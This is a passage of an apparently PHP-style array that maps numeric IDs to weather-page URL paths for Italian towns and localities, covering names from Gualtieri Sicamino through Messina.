\"/meteo/Gualtieri+sicamino'\",3304 => \"/meteo/Guamaggiore\",3305 => \"/meteo/Guanzate\",3306 => \"/meteo/Guarcino\",3307 => \"/meteo/Guarda+veneta\",3308 => \"/meteo/Guardabosone\",3309 => \"/meteo/Guardamiglio\",3310 => \"/meteo/Guardavalle\",3311 => \"/meteo/Guardea\",3312 => \"/meteo/Guardia+lombardi\",8365 => \"/meteo/Guardia+perticara\",3314 => \"/meteo/Guardia+piemontese\",3315 => \"/meteo/Guardia+sanframondi\",3316 => \"/meteo/Guardiagrele\",3317 => \"/meteo/Guardialfiera\",3318 => \"/meteo/Guardiaregia\",3319 => \"/meteo/Guardistallo\",3320 => \"/meteo/Guarene\",3321 => \"/meteo/Guasila\",3322 => \"/meteo/Guastalla\",3323 => \"/meteo/Guazzora\",3324 => \"/meteo/Gubbio\",3325 => \"/meteo/Gudo+visconti\",3326 => \"/meteo/Guglionesi\",3327 => \"/meteo/Guidizzolo\",8508 => \"/meteo/Guidonia\",3328 => \"/meteo/Guidonia+montecelio\",3329 => \"/meteo/Guiglia\",3330 => \"/meteo/Guilmi\",3331 => \"/meteo/Gurro\",3332 => \"/meteo/Guspini\",3333 => \"/meteo/Gussago\",3334 => \"/meteo/Gussola\",3335 => \"/meteo/Hone\",8587 => \"/meteo/I+Prati\",3336 => \"/meteo/Idro\",3337 => \"/meteo/Iglesias\",3338 => \"/meteo/Igliano\",3339 => \"/meteo/Ilbono\",3340 => \"/meteo/Illasi\",3341 => \"/meteo/Illorai\",3342 => \"/meteo/Imbersago\",3343 => \"/meteo/Imer\",3344 => \"/meteo/Imola\",3345 => \"/meteo/Imperia\",3346 => \"/meteo/Impruneta\",3347 => \"/meteo/Inarzo\",3348 => \"/meteo/Incisa+in+val+d'arno\",3349 => \"/meteo/Incisa+scapaccino\",3350 => \"/meteo/Incudine\",3351 => \"/meteo/Induno+olona\",3352 => \"/meteo/Ingria\",3353 => \"/meteo/Intragna\",3354 => \"/meteo/Introbio\",3355 => \"/meteo/Introd\",3356 => \"/meteo/Introdacqua\",3357 => \"/meteo/Introzzo\",3358 => \"/meteo/Inverigo\",3359 => \"/meteo/Inverno+e+monteleone\",3360 => \"/meteo/Inverso+pinasca\",3361 => \"/meteo/Inveruno\",3362 => \"/meteo/Invorio\",3363 => \"/meteo/Inzago\",3364 => \"/meteo/Ionadi\",3365 => \"/meteo/Irgoli\",3366 => \"/meteo/Irma\",3367 => \"/meteo/Irsina\",3368 => \"/meteo/Isasca\",3369 => \"/meteo/Isca+sullo+ionio\",3370 => \"/meteo/Ischia\",3371 => \"/meteo/Ischia+di+castro\",3372 => \"/meteo/Ischitella\",3373 => \"/meteo/Iseo\",3374 => \"/meteo/Isera\",3375 => \"/meteo/Isernia\",3376 => \"/meteo/Isili\",3377 => \"/meteo/Isnello\",8742 => \"/meteo/Isola+Albarella\",3378 => \"/meteo/Isola+d'asti\",3379 => \"/meteo/Isola+del+cantone\",8190 => \"/meteo/Isola+del+Giglio\",3381 => \"/meteo/Isola+del+gran+sasso+d'italia\",3382 => \"/meteo/Isola+del+liri\",3383 => \"/meteo/Isola+del+piano\",3384 => \"/meteo/Isola+della+scala\",3385 => \"/meteo/Isola+delle+femmine\",3386 => \"/meteo/Isola+di+capo+rizzuto\",3387 => \"/meteo/Isola+di+fondra\",8671 => \"/meteo/Isola+di+Giannutri\",3388 => \"/meteo/Isola+dovarese\",3389 => \"/meteo/Isola+rizza\",8173 => \"/meteo/Isola+Rossa\",8183 => \"/meteo/Isola+Salina\",3390 => \"/meteo/Isola+sant'antonio\",3391 => \"/meteo/Isola+vicentina\",3392 => \"/meteo/Isolabella\",3393 => \"/meteo/Isolabona\",3394 => \"/meteo/Isole+tremiti\",3395 => \"/meteo/Isorella\",3396 => \"/meteo/Ispani\",3397 => \"/meteo/Ispica\",3398 => \"/meteo/Ispra\",3399 => \"/meteo/Issiglio\",3400 => \"/meteo/Issime\",3401 => \"/meteo/Isso\",3402 => \"/meteo/Issogne\",3403 => \"/meteo/Istrana\",3404 => \"/meteo/Itala\",3405 => \"/meteo/Itri\",3406 => \"/meteo/Ittireddu\",3407 => \"/meteo/Ittiri\",3408 => \"/meteo/Ivano+fracena\",3409 => \"/meteo/Ivrea\",3410 => \"/meteo/Izano\",3411 => \"/meteo/Jacurso\",3412 => \"/meteo/Jelsi\",3413 => \"/meteo/Jenne\",3414 => \"/meteo/Jerago+con+Orago\",3415 => \"/meteo/Jerzu\",3416 => \"/meteo/Jesi\",3417 => \"/meteo/Jesolo\",3418 => \"/meteo/Jolanda+di+Savoia\",3419 => \"/meteo/Joppolo\",3420 => \"/meteo/Joppolo+Giancaxio\",3421 => \"/meteo/Jovencan\",8568 => \"/meteo/Klausberg\",3422 => \"/meteo/L'Aquila\",3423 => \"/meteo/La+Cassa\",8227 => \"/meteo/La+Lechere\",3424 => \"/meteo/La+Loggia\",3425 => \"/meteo/La+Maddalena\",3426 => \"/meteo/La+Magdeleine\",3427 => \"/meteo/La+Morra\",8617 => \"/meteo/La+Palud\",3428 => \"/meteo/La+Salle\",3429 => \"/meteo/La+Spezia\",3430 => \"/meteo/La+Thuile\",3431 => \"/meteo/La+Valle\",3432 => \"/meteo/La+Valle+Agordina\",8762 => \"/meteo/La+Villa\",3433 => \"/meteo/Labico\",3434 => \"/meteo/Labro\",3435 => \"/meteo/Lacchiarella\",3436 => \"/meteo/Lacco+ameno\",3437 => \"/meteo/Lacedonia\",8245 => \"/meteo/Laceno\",3438 => \"/meteo/Laces\",3439 => \"/meteo/Laconi\",3440 => \"/meteo/Ladispoli\",8571 => \"/meteo/Ladurno\",3441 => \"/meteo/Laerru\",3442 => \"/meteo/Laganadi\",3443 => \"/meteo/Laghi\",3444 => \"/meteo/Laglio\",3445 => \"/meteo/Lagnasco\",3446 => \"/meteo/Lago\",3447 => \"/meteo/Lagonegro\",3448 => \"/meteo/Lagosanto\",3449 => \"/meteo/Lagundo\",3450 => \"/meteo/Laigueglia\",3451 => \"/meteo/Lainate\",3452 => \"/meteo/Laino\",3453 => \"/meteo/Laino+borgo\",3454 => \"/meteo/Laino+castello\",3455 => \"/meteo/Laion\",3456 => \"/meteo/Laives\",3457 => \"/meteo/Lajatico\",3458 => \"/meteo/Lallio\",3459 => \"/meteo/Lama+dei+peligni\",3460 => \"/meteo/Lama+mocogno\",3461 => \"/meteo/Lambrugo\",8477 => \"/meteo/Lamezia+Santa+Eufemia\",3462 => \"/meteo/Lamezia+terme\",3463 => \"/meteo/Lamon\",8179 => \"/meteo/Lampedusa\",3464 => \"/meteo/Lampedusa+e+linosa\",3465 => \"/meteo/Lamporecchio\",3466 => \"/meteo/Lamporo\",3467 => \"/meteo/Lana\",3468 => \"/meteo/Lanciano\",8467 => \"/meteo/Lanciano+casello\",3469 => \"/meteo/Landiona\",3470 => \"/meteo/Landriano\",3471 => \"/meteo/Langhirano\",3472 => \"/meteo/Langosco\",3473 => \"/meteo/Lanusei\",3474 => \"/meteo/Lanuvio\",3475 => \"/meteo/Lanzada\",3476 => \"/meteo/Lanzo+d'intelvi\",3477 => \"/meteo/Lanzo+torinese\",3478 => \"/meteo/Lapedona\",3479 => \"/meteo/Lapio\",3480 => \"/meteo/Lappano\",3481 => \"/meteo/Larciano\",3482 => \"/meteo/Lardaro\",3483 => \"/meteo/Lardirago\",3484 => \"/meteo/Lari\",3485 => \"/meteo/Lariano\",3486 => \"/meteo/Larino\",3487 => \"/meteo/Las+plassas\",3488 => \"/meteo/Lasa\",3489 => \"/meteo/Lascari\",3490 => \"/meteo/Lasino\",3491 => \"/meteo/Lasnigo\",3492 => \"/meteo/Lastebasse\",3493 => \"/meteo/Lastra+a+signa\",3494 => \"/meteo/Latera\",3495 => \"/meteo/Laterina\",3496 => \"/meteo/Laterza\",3497 => \"/meteo/Latiano\",3498 => \"/meteo/Latina\",3499 => \"/meteo/Latisana\",3500 => \"/meteo/Latronico\",3501 => \"/meteo/Lattarico\",3502 => \"/meteo/Lauco\",3503 => \"/meteo/Laureana+cilento\",3504 => \"/meteo/Laureana+di+borrello\",3505 => \"/meteo/Lauregno\",3506 => \"/meteo/Laurenzana\",3507 => \"/meteo/Lauria\",3508 => \"/meteo/Lauriano\",3509 => \"/meteo/Laurino\",3510 => \"/meteo/Laurito\",3511 => \"/meteo/Lauro\",3512 => \"/meteo/Lavagna\",3513 => \"/meteo/Lavagno\",3514 => \"/meteo/Lavarone\",3515 => \"/meteo/Lavello\",3516 => \"/meteo/Lavena+ponte+tresa\",3517 => \"/meteo/Laveno+mombello\",3518 => \"/meteo/Lavenone\",3519 => \"/meteo/Laviano\",8695 => \"/meteo/Lavinio\",3520 => \"/meteo/Lavis\",3521 => \"/meteo/Lazise\",3522 => \"/meteo/Lazzate\",8434 => \"/meteo/Le+polle\",3523 => \"/meteo/Lecce\",3524 => \"/meteo/Lecce+nei+marsi\",3525 => \"/meteo/Lecco\",3526 => \"/meteo/Leffe\",3527 => \"/meteo/Leggiuno\",3528 => \"/meteo/Legnago\",3529 => \"/meteo/Legnano\",3530 => \"/meteo/Legnaro\",3531 => \"/meteo/Lei\",3532 => \"/meteo/Leini\",3533 => \"/meteo/Leivi\",3534 => \"/meteo/Lemie\",3535 => \"/meteo/Lendinara\",3536 => \"/meteo/Leni\",3537 => \"/meteo/Lenna\",3538 => \"/meteo/Lenno\",3539 => \"/meteo/Leno\",3540 => \"/meteo/Lenola\",3541 => \"/meteo/Lenta\",3542 => \"/meteo/Lentate+sul+seveso\",3543 => \"/meteo/Lentella\",3544 => \"/meteo/Lentiai\",3545 => \"/meteo/Lentini\",3546 => \"/meteo/Leonessa\",3547 => \"/meteo/Leonforte\",3548 => \"/meteo/Leporano\",3549 => \"/meteo/Lequile\",3550 => \"/meteo/Lequio+berria\",3551 => \"/meteo/Lequio+tanaro\",3552 => \"/meteo/Lercara+friddi\",3553 => \"/meteo/Lerici\",3554 => \"/meteo/Lerma\",8250 => \"/meteo/Les+Suches\",3555 => \"/meteo/Lesa\",3556 => \"/meteo/Lesegno\",3557 => \"/meteo/Lesignano+de+'bagni\",3558 => \"/meteo/Lesina\",3559 => \"/meteo/Lesmo\",3560 => \"/meteo/Lessolo\",3561 => \"/meteo/Lessona\",3562 => \"/meteo/Lestizza\",3563 => \"/meteo/Letino\",3564 => \"/meteo/Letojanni\",3565 => \"/meteo/Lettere\",3566 => \"/meteo/Lettomanoppello\",3567 => \"/meteo/Lettopalena\",3568 => \"/meteo/Levanto\",3569 => \"/meteo/Levate\",3570 => \"/meteo/Leverano\",3571 => \"/meteo/Levice\",3572 => \"/meteo/Levico+terme\",3573 => \"/meteo/Levone\",3574 => \"/meteo/Lezzeno\",3575 => \"/meteo/Liberi\",3576 => \"/meteo/Librizzi\",3577 => \"/meteo/Licata\",3578 => \"/meteo/Licciana+nardi\",3579 => \"/meteo/Licenza\",3580 => \"/meteo/Licodia+eubea\",8442 => \"/meteo/Lido+degli+Estensi\",8441 => \"/meteo/Lido+delle+Nazioni\",8200 => \"/meteo/Lido+di+Camaiore\",8136 => \"/meteo/Lido+di+Ostia\",8746 => \"/meteo/Lido+di+Volano\",8594 => \"/meteo/Lido+Marini\",3581 => \"/meteo/Lierna\",3582 => \"/meteo/Lignana\",3583 => \"/meteo/Lignano+sabbiadoro\",3584 => \"/meteo/Ligonchio\",3585 => \"/meteo/Ligosullo\",3586 => \"/meteo/Lillianes\",3587 => \"/meteo/Limana\",3588 => \"/meteo/Limatola\",3589 => \"/meteo/Limbadi\",3590 => \"/meteo/Limbiate\",3591 => \"/meteo/Limena\",3592 => \"/meteo/Limido+comasco\",3593 => \"/meteo/Limina\",3594 => \"/meteo/Limone+piemonte\",3595 => \"/meteo/Limone+sul+garda\",3596 => \"/meteo/Limosano\",3597 => \"/meteo/Linarolo\",3598 => \"/meteo/Linguaglossa\",8180 => \"/meteo/Linosa\",3599 => \"/meteo/Lioni\",3600 => \"/meteo/Lipari\",3601 => \"/meteo/Lipomo\",3602 => \"/meteo/Lirio\",3603 => \"/meteo/Liscate\",3604 => \"/meteo/Liscia\",3605 => \"/meteo/Lisciano+niccone\",3606 => \"/meteo/Lisignago\",3607 => \"/meteo/Lisio\",3608 => \"/meteo/Lissone\",3609 => \"/meteo/Liveri\",3610 => \"/meteo/Livigno\",3611 => \"/meteo/Livinallongo+del+col+di+lana\",3613 => \"/meteo/Livo\",3612 => \"/meteo/Livo\",3614 => \"/meteo/Livorno\",3615 => \"/meteo/Livorno+ferraris\",3616 => \"/meteo/Livraga\",3617 => \"/meteo/Lizzanello\",3618 => \"/meteo/Lizzano\",3619 => \"/meteo/Lizzano+in+belvedere\",8300 => \"/meteo/Lizzola\",3620 => \"/meteo/Loano\",3621 => \"/meteo/Loazzolo\",3622 => \"/meteo/Locana\",3623 => \"/meteo/Locate+di+triulzi\",3624 => \"/meteo/Locate+varesino\",3625 => \"/meteo/Locatello\",3626 => \"/meteo/Loceri\",3627 => \"/meteo/Locorotondo\",3628 => \"/meteo/Locri\",3629 => \"/meteo/Loculi\",3630 => \"/meteo/Lode'\",3631 => \"/meteo/Lodi\",3632 => \"/meteo/Lodi+vecchio\",3633 => \"/meteo/Lodine\",3634 => \"/meteo/Lodrino\",3635 => \"/meteo/Lograto\",3636 => \"/meteo/Loiano\",8748 => \"/meteo/Loiano+RFI\",3637 => \"/meteo/Loiri+porto+san+paolo\",3638 => \"/meteo/Lomagna\",3639 => \"/meteo/Lomaso\",3640 => \"/meteo/Lomazzo\",3641 => \"/meteo/Lombardore\",3642 => \"/meteo/Lombriasco\",3643 => \"/meteo/Lomello\",3644 => \"/meteo/Lona+lases\",3645 => \"/meteo/Lonate+ceppino\",3646 => \"/meteo/Lonate+pozzolo\",3647 => \"/meteo/Lonato\",3648 => \"/meteo/Londa\",3649 => \"/meteo/Longano\",3650 => \"/meteo/Longare\",3651 => \"/meteo/Longarone\",3652 => \"/meteo/Longhena\",3653 => \"/meteo/Longi\",3654 => \"/meteo/Longiano\",3655 => \"/meteo/Longobardi\",3656 => \"/meteo/Longobucco\",3657 => \"/meteo/Longone+al+segrino\",3658 => \"/meteo/Longone+sabino\",3659 => \"/meteo/Lonigo\",3660 => \"/meteo/Loranze'\",3661 => \"/meteo/Loreggia\",3662 => \"/meteo/Loreglia\",3663 => \"/meteo/Lorenzago+di+cadore\",3664 => \"/meteo/Lorenzana\",3665 => \"/meteo/Loreo\",3666 => \"/meteo/Loreto\",3667 => \"/meteo/Loreto+aprutino\",3668 => \"/meteo/Loria\",8523 => \"/meteo/Lorica\",3669 => \"/meteo/Loro+ciuffenna\",3670 => \"/meteo/Loro+piceno\",3671 => \"/meteo/Lorsica\",3672 => \"/meteo/Losine\",3673 => \"/meteo/Lotzorai\",3674 => \"/meteo/Lovere\",3675 => \"/meteo/Lovero\",3676 => \"/meteo/Lozio\",3677 => \"/meteo/Lozza\",3678 => \"/meteo/Lozzo+atestino\",3679 => \"/meteo/Lozzo+di+cadore\",3680 => \"/meteo/Lozzolo\",3681 => \"/meteo/Lu\",3682 => \"/meteo/Lubriano\",3683 => \"/meteo/Lucca\",3684 => \"/meteo/Lucca+sicula\",3685 => \"/meteo/Lucera\",3686 => \"/meteo/Lucignano\",3687 => \"/meteo/Lucinasco\",3688 => \"/meteo/Lucito\",3689 => \"/meteo/Luco+dei+marsi\",3690 => \"/meteo/Lucoli\",3691 => \"/meteo/Lugagnano+val+d'arda\",3692 => \"/meteo/Lugnacco\",3693 => \"/meteo/Lugnano+in+teverina\",3694 => \"/meteo/Lugo\",3695 => \"/meteo/Lugo+di+vicenza\",3696 => \"/meteo/Luino\",3697 => \"/meteo/Luisago\",3698 => \"/meteo/Lula\",3699 => \"/meteo/Lumarzo\",3700 => \"/meteo/Lumezzane\",3701 => \"/meteo/Lunamatrona\",3702 => \"/meteo/Lunano\",3703 => \"/meteo/Lungavilla\",3704 => \"/meteo/Lungro\",3705 => \"/meteo/Luogosano\",3706 => \"/meteo/Luogosanto\",3707 => \"/meteo/Lupara\",3708 => \"/meteo/Lurago+d'erba\",3709 => \"/meteo/Lurago+marinone\",3710 => \"/meteo/Lurano\",3711 => \"/meteo/Luras\",3712 => \"/meteo/Lurate+caccivio\",3713 => \"/meteo/Lusciano\",8636 => \"/meteo/Lusentino\",3714 => \"/meteo/Luserna\",3715 => \"/meteo/Luserna+san+giovanni\",3716 => \"/meteo/Lusernetta\",3717 => \"/meteo/Lusevera\",3718 => \"/meteo/Lusia\",3719 => \"/meteo/Lusiana\",3720 => \"/meteo/Lusiglie'\",3721 => \"/meteo/Luson\",3722 => \"/meteo/Lustra\",8572 => \"/meteo/Lutago\",3723 => \"/meteo/Luvinate\",3724 => \"/meteo/Luzzana\",3725 => \"/meteo/Luzzara\",3726 => \"/meteo/Luzzi\",8447 => \"/meteo/L`Aquila+est\",8446 => \"/meteo/L`Aquila+ovest\",3727 => \"/meteo/Maccagno\",3728 => \"/meteo/Maccastorna\",3729 => \"/meteo/Macchia+d'isernia\",3730 => \"/meteo/Macchia+valfortore\",3731 => \"/meteo/Macchiagodena\",3732 => \"/meteo/Macello\",3733 => \"/meteo/Macerata\",3734 => \"/meteo/Macerata+campania\",3735 => \"/meteo/Macerata+feltria\",3736 => \"/meteo/Macherio\",3737 => \"/meteo/Maclodio\",3738 => \"/meteo/Macomer\",3739 => \"/meteo/Macra\",3740 => \"/meteo/Macugnaga\",3741 => \"/meteo/Maddaloni\",3742 => \"/meteo/Madesimo\",3743 => \"/meteo/Madignano\",3744 => \"/meteo/Madone\",3745 => \"/meteo/Madonna+del+sasso\",8201 => \"/meteo/Madonna+di+Campiglio\",3746 => \"/meteo/Maenza\",3747 => \"/meteo/Mafalda\",3748 => \"/meteo/Magasa\",3749 => \"/meteo/Magenta\",3750 => \"/meteo/Maggiora\",3751 => \"/meteo/Magherno\",3752 => \"/meteo/Magione\",3753 => \"/meteo/Magisano\",3754 => \"/meteo/Magliano+alfieri\",3755 => \"/meteo/Magliano+alpi\",8461 => \"/meteo/Magliano+casello\",3756 => \"/meteo/Magliano+de'+marsi\",3757 => \"/meteo/Magliano+di+tenna\",3758 => \"/meteo/Magliano+in+toscana\",3759 => \"/meteo/Magliano+romano\",3760 => \"/meteo/Magliano+sabina\",3761 => \"/meteo/Magliano+vetere\",3762 => \"/meteo/Maglie\",3763 => \"/meteo/Magliolo\",3764 => \"/meteo/Maglione\",3765 => \"/meteo/Magnacavallo\",3766 => \"/meteo/Magnago\",3767 => \"/meteo/Magnano\",3768 => \"/meteo/Magnano+in+riviera\",8322 => \"/meteo/Magnolta\",3769 => \"/meteo/Magomadas\",3770 => \"/meteo/Magre'+sulla+strada+del+vino\",3771 => \"/meteo/Magreglio\",3772 => \"/meteo/Maida\",3773 => \"/meteo/Maiera'\",3774 => \"/meteo/Maierato\",3775 => \"/meteo/Maiolati+spontini\",3776 => \"/meteo/Maiolo\",3777 => \"/meteo/Maiori\",3778 => \"/meteo/Mairago\",3779 => \"/meteo/Mairano\",3780 => \"/meteo/Maissana\",3781 => \"/meteo/Majano\",3782 => \"/meteo/Malagnino\",3783 => \"/meteo/Malalbergo\",3784 => \"/meteo/Malborghetto+valbruna\",3785 => \"/meteo/Malcesine\",3786 => \"/meteo/Male'\",3787 => \"/meteo/Malegno\",3788 => \"/meteo/Maleo\",3789 => \"/meteo/Malesco\",3790 => \"/meteo/Maletto\",3791 => \"/meteo/Malfa\",8229 => \"/meteo/Malga+Ciapela\",8333 => \"/meteo/Malga+Polzone\",8661 => \"/meteo/Malga+San+Giorgio\",3792 => \"/meteo/Malgesso\",3793 => \"/meteo/Malgrate\",3794 => \"/meteo/Malito\",3795 => \"/meteo/Mallare\",3796 => \"/meteo/Malles+Venosta\",3797 => \"/meteo/Malnate\",3798 => \"/meteo/Malo\",3799 => \"/meteo/Malonno\",3800 => \"/meteo/Malosco\",3801 => \"/meteo/Maltignano\",3802 => \"/meteo/Malvagna\",3803 => \"/meteo/Malvicino\",3804 => \"/meteo/Malvito\",3805 => \"/meteo/Mammola\",3806 => \"/meteo/Mamoiada\",3807 => \"/meteo/Manciano\",3808 => \"/meteo/Mandanici\",3809 => \"/meteo/Mandas\",3810 => \"/meteo/Mandatoriccio\",3811 => \"/meteo/Mandela\",3812 => \"/meteo/Mandello+del+lario\",3813 => \"/meteo/Mandello+vitta\",3814 => \"/meteo/Manduria\",3815 => \"/meteo/Manerba+del+garda\",3816 => \"/meteo/Manerbio\",3817 => \"/meteo/Manfredonia\",3818 => \"/meteo/Mango\",3819 => \"/meteo/Mangone\",3820 => \"/meteo/Maniace\",3821 => \"/meteo/Maniago\",3822 => \"/meteo/Manocalzati\",3823 => \"/meteo/Manoppello\",3824 => \"/meteo/Mansue'\",3825 => \"/meteo/Manta\",3826 => \"/meteo/Mantello\",3827 => \"/meteo/Mantova\",8129 => \"/meteo/Manzano\",3829 => \"/meteo/Manziana\",3830 => \"/meteo/Mapello\",3831 => \"/meteo/Mara\",3832 => \"/meteo/Maracalagonis\",3833 => \"/meteo/Maranello\",3834 => \"/meteo/Marano+di+napoli\",3835 => \"/meteo/Marano+di+valpolicella\",3836 => \"/meteo/Marano+equo\",3837 => \"/meteo/Marano+lagunare\",3838 => \"/meteo/Marano+marchesato\",3839 => \"/meteo/Marano+principato\",3840 => \"/meteo/Marano+sul+panaro\",3841 => \"/meteo/Marano+ticino\",3842 => \"/meteo/Marano+vicentino\",3843 => \"/meteo/Maranzana\",3844 => \"/meteo/Maratea\",3845 => \"/meteo/Marcallo+con+Casone\",3846 => \"/meteo/Marcaria\",3847 => \"/meteo/Marcedusa\",3848 => \"/meteo/Marcellina\",3849 => \"/meteo/Marcellinara\",3850 => \"/meteo/Marcetelli\",3851 => \"/meteo/Marcheno\",3852 => \"/meteo/Marchirolo\",3853 => \"/meteo/Marciana\",3854 => \"/meteo/Marciana+marina\",3855 => \"/meteo/Marcianise\",3856 => \"/meteo/Marciano+della+chiana\",3857 => \"/meteo/Marcignago\",3858 => \"/meteo/Marcon\",3859 => \"/meteo/Marebbe\",8478 => \"/meteo/Marene\",3861 => \"/meteo/Mareno+di+piave\",3862 => \"/meteo/Marentino\",3863 => \"/meteo/Maretto\",3864 => \"/meteo/Margarita\",3865 => \"/meteo/Margherita+di+savoia\",3866 => \"/meteo/Margno\",3867 => \"/meteo/Mariana+mantovana\",3868 => \"/meteo/Mariano+comense\",3869 => \"/meteo/Mariano+del+friuli\",3870 => \"/meteo/Marianopoli\",3871 => \"/meteo/Mariglianella\",3872 => \"/meteo/Marigliano\",8291 => \"/meteo/Marilleva\",8490 => \"/meteo/Marina+di+Arbus\",8599 => \"/meteo/Marina+di+Camerota\",8582 => \"/meteo/Marina+di+Campo\",8111 => \"/meteo/Marina+di+Cariati\",8118 => \"/meteo/Marina+di+Cetraro\",8175 => \"/meteo/Marina+di+Gairo\",8164 => \"/meteo/Marina+di+Ginosa\",3873 => \"/meteo/Marina+di+gioiosa+ionica\",8166 => \"/meteo/Marina+di+Leuca\",8184 => \"/meteo/Marina+di+Modica\",8156 => \"/meteo/Marina+di+montenero\",8165 => \"/meteo/Marina+di+Ostuni\",8186 => \"/meteo/Marina+di+Palma\",8141 => \"/meteo/Marina+di+Pescia+Romana\",8591 => \"/meteo/Marina+di+Pescoluse\",8298 => \"/meteo/Marina+di+Pietrasanta\",8128 => \"/meteo/Marina+di+Ravenna\",8174 => \"/meteo/Marina+di+Sorso\",8188 => \"/meteo/Marinella\",3874 => \"/meteo/Marineo\",3875 => \"/meteo/Marino\",3876 => \"/meteo/Marlengo\",3877 => \"/meteo/Marliana\",3878 => \"/meteo/Marmentino\",3879 => \"/meteo/Marmirolo\",8205 => \"/meteo/Marmolada\",3880 => \"/meteo/Marmora\",3881 => \"/meteo/Marnate\",3882 => \"/meteo/Marone\",3883 => \"/meteo/Maropati\",3884 => \"/meteo/Marostica\",8154 => \"/meteo/Marotta\",3885 => \"/meteo/Marradi\",3886 => \"/meteo/Marrubiu\",3887 => \"/meteo/Marsaglia\",3888 => \"/meteo/Marsala\",3889 => \"/meteo/Marsciano\",3890 => \"/meteo/Marsico+nuovo\",3891 => \"/meteo/Marsicovetere\",3892 => \"/meteo/Marta\",3893 => \"/meteo/Martano\",3894 => \"/meteo/Martellago\",3895 => \"/meteo/Martello\",3896 => \"/meteo/Martignacco\",3897 => \"/meteo/Martignana+di+po\",3898 => \"/meteo/Martignano\",3899 => \"/meteo/Martina+franca\",3900 => \"/meteo/Martinengo\",3901 => \"/meteo/Martiniana+po\",3902 => \"/meteo/Martinsicuro\",3903 => \"/meteo/Martirano\",3904 => \"/meteo/Martirano+lombardo\",3905 => \"/meteo/Martis\",3906 => \"/meteo/Martone\",3907 => \"/meteo/Marudo\",3908 => \"/meteo/Maruggio\",3909 => \"/meteo/Marzabotto\",3910 => \"/meteo/Marzano\",3911 => \"/meteo/Marzano+appio\",3912 => \"/meteo/Marzano+di+nola\",3913 => \"/meteo/Marzi\",3914 => \"/meteo/Marzio\",3915 => \"/meteo/Masainas\",3916 => \"/meteo/Masate\",3917 => \"/meteo/Mascali\",3918 => \"/meteo/Mascalucia\",3919 => \"/meteo/Maschito\",3920 => \"/meteo/Masciago+primo\",3921 => \"/meteo/Maser\",3922 => \"/meteo/Masera\",3923 => \"/meteo/Masera'+di+Padova\",3924 => \"/meteo/Maserada+sul+piave\",3925 => \"/meteo/Masi\",3926 => \"/meteo/Masi+torello\",3927 => \"/meteo/Masio\",3928 => \"/meteo/Maslianico\",8216 => \"/meteo/Maso+Corto\",3929 => \"/meteo/Mason+vicentino\",3930 => \"/meteo/Masone\",3931 => \"/meteo/Massa\",3932 => \"/meteo/Massa+d'albe\",3933 => \"/meteo/Massa+di+somma\",3934 => \"/meteo/Massa+e+cozzile\",3935 => \"/meteo/Massa+fermana\",3936 => \"/meteo/Massa+fiscaglia\",3937 => \"/meteo/Massa+lombarda\",3938 => \"/meteo/Massa+lubrense\",3939 => \"/meteo/Massa+marittima\",3940 => \"/meteo/Massa+martana\",3941 => \"/meteo/Massafra\",3942 => \"/meteo/Massalengo\",3943 => \"/meteo/Massanzago\",3944 => \"/meteo/Massarosa\",3945 => \"/meteo/Massazza\",3946 => \"/meteo/Massello\",3947 => \"/meteo/Masserano\",3948 => \"/meteo/Massignano\",3949 => \"/meteo/Massimeno\",3950 => \"/meteo/Massimino\",3951 => \"/meteo/Massino+visconti\",3952 => \"/meteo/Massiola\",3953 => \"/meteo/Masullas\",3954 => \"/meteo/Matelica\",3955 => \"/meteo/Matera\",3956 => \"/meteo/Mathi\",3957 => \"/meteo/Matino\",3958 => \"/meteo/Matrice\",3959 => \"/meteo/Mattie\",3960 => \"/meteo/Mattinata\",3961 => \"/meteo/Mazara+del+vallo\",3962 => \"/meteo/Mazzano\",3963 => \"/meteo/Mazzano+romano\",3964 => \"/meteo/Mazzarino\",3965 => \"/meteo/Mazzarra'+sant'andrea\",3966 => \"/meteo/Mazzarrone\",3967 => \"/meteo/Mazze'\",3968 => \"/meteo/Mazzin\",3969 => \"/meteo/Mazzo+di+valtellina\",3970 => \"/meteo/Meana+di+susa\",3971 => \"/meteo/Meana+sardo\",3972 => \"/meteo/Meda\",3973 => \"/meteo/Mede\",3974 => \"/meteo/Medea\",3975 => \"/meteo/Medesano\",3976 => \"/meteo/Medicina\",3977 => \"/meteo/Mediglia\",3978 => \"/meteo/Medolago\",3979 => \"/meteo/Medole\",3980 => \"/meteo/Medolla\",3981 => \"/meteo/Meduna+di+livenza\",3982 => \"/meteo/Meduno\",3983 => \"/meteo/Megliadino+san+fidenzio\",3984 => \"/meteo/Megliadino+san+vitale\",3985 => \"/meteo/Meina\",3986 => \"/meteo/Mel\",3987 => \"/meteo/Melara\",3988 => \"/meteo/Melazzo\",8443 => \"/meteo/Meldola\",3990 => \"/meteo/Mele\",3991 => \"/meteo/Melegnano\",3992 => \"/meteo/Melendugno\",3993 => \"/meteo/Meleti\",8666 => \"/meteo/Melezet\",3994 => \"/meteo/Melfi\",3995 => \"/meteo/Melicucca'\",3996 => \"/meteo/Melicucco\",3997 => \"/meteo/Melilli\",3998 => \"/meteo/Melissa\",3999 => \"/meteo/Melissano\",4000 => \"/meteo/Melito+di+napoli\",4001 => \"/meteo/Melito+di+porto+salvo\",4002 => \"/meteo/Melito+irpino\",4003 => \"/meteo/Melizzano\",4004 => \"/meteo/Melle\",4005 => \"/meteo/Mello\",4006 => \"/meteo/Melpignano\",4007 => \"/meteo/Meltina\",4008 => \"/meteo/Melzo\",4009 => \"/meteo/Menaggio\",4010 => \"/meteo/Menarola\",4011 => \"/meteo/Menconico\",4012 => \"/meteo/Mendatica\",4013 => \"/meteo/Mendicino\",4014 => \"/meteo/Menfi\",4015 => \"/meteo/Mentana\",4016 => \"/meteo/Meolo\",4017 => \"/meteo/Merana\",4018 => \"/meteo/Merano\",8351 => \"/meteo/Merano+2000\",4019 => \"/meteo/Merate\",4020 => \"/meteo/Mercallo\",4021 => \"/meteo/Mercatello+sul+metauro\",4022 => \"/meteo/Mercatino+conca\",8437 => \"/meteo/Mercato\",4023 => \"/meteo/Mercato+san+severino\",4024 => \"/meteo/Mercato+saraceno\",4025 => \"/meteo/Mercenasco\",4026 => \"/meteo/Mercogliano\",4027 => \"/meteo/Mereto+di+tomba\",4028 => \"/meteo/Mergo\",4029 => \"/meteo/Mergozzo\",4030 => \"/meteo/Meri'\",4031 => \"/meteo/Merlara\",4032 => \"/meteo/Merlino\",4033 => \"/meteo/Merone\",4034 => \"/meteo/Mesagne\",4035 => \"/meteo/Mese\",4036 => \"/meteo/Mesenzana\",4037 => \"/meteo/Mesero\",4038 => \"/meteo/Mesola\",4039 => \"/meteo/Mesoraca\",4040 => \"/meteo/Messina\",4041 => 